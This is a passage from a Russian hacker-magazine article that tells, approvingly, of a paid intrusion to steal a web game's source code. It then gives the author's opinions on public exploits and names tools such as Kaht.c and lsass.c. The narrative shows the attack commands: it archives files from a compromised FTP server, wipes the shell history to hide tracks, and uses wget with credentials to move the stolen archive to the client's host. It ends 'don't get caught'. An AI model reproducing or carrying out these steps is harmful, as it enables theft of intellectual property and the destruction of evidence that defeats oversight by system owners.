Похищенные сорцы

Александр Любимов aka Sashiks

Хакер, номер #080, стр. 080-052-6

$ tar -zcf /usr/home/noc/xarchive.tar.gz /ftp/incoming/*.zip

После этих нехитрых манипуляций я переместил архивчик в одну из самых глубоких папок. Чтобы наглые буржуи не знали, что я нашаманил в админской консоли, решено было снести хистори:

$ echo " "> .history

Теперь оставалось только скачать заветный и дорогостоящий архив на тачку к работодателю. Можно было юзать обычный ftp-клиент, но мне это показалось неудобным, и я решил использовать wget:

# wget --ftp-user=userok --ftp-pass=pass ftp://ftp.abs.net//path/to/xarchive.tar.gz&

Все, процесс отправился жить в бэкграунде, а мы ждем передачи тяжеловесного кода. После успешного трансфера оставалось дождаться нанявшего меня человека и отрапортовать, что миссия успешно выполнена. Через некоторое время я получил в свои руки эксклюзивную копию этой РПГ'шки и полную инструкцию установки от подельника - все, как и договаривались. Каждый получил то, что хотел - работодатель классную игрушку в свою коллекцию, а я - исходный код одного из самых популярных игровых web-проектов наших дней. На этой позитивной ноте спешу откланяться. Удачи, не попадайся :).

Немного об этих самых "эксплоитах"

Не секрет что в сети на многих секьюрти-сайтах сейчас ты можешь найти туеву хучу эксплойтов под различные сервисы и демоны. Лично я думаю, что большинство из них - умерли. Не потому что код кривой или испорчен, а потому что большинство уязвимостей, которые они эксплуатируют безвозвратно устарели и практического применения им найти довольно сложно. Именно поэтому я всегда относился к ним довольно скептически (не ко всем ). Учитывая нынешние темпы разработчиков можно сказать что удачное эксплуатирование системы с помощью паблик эксплоита это скорее исключение, чем правило. Хотя и в самом деле существуют некоторые уникальные тулзы ( виндовые Kaht.c, lsass.c, RPC Scan ) которые были и будут актуальны достаточно долго.

Впрочем все вышесказанное не относиться к эксплоитам для уязвимых веб-скриптов ( форумы, гостевые, галереи, и т.д) и является сугубо моим личным мнением. Соглашаться с ним или нет - решать только тебе.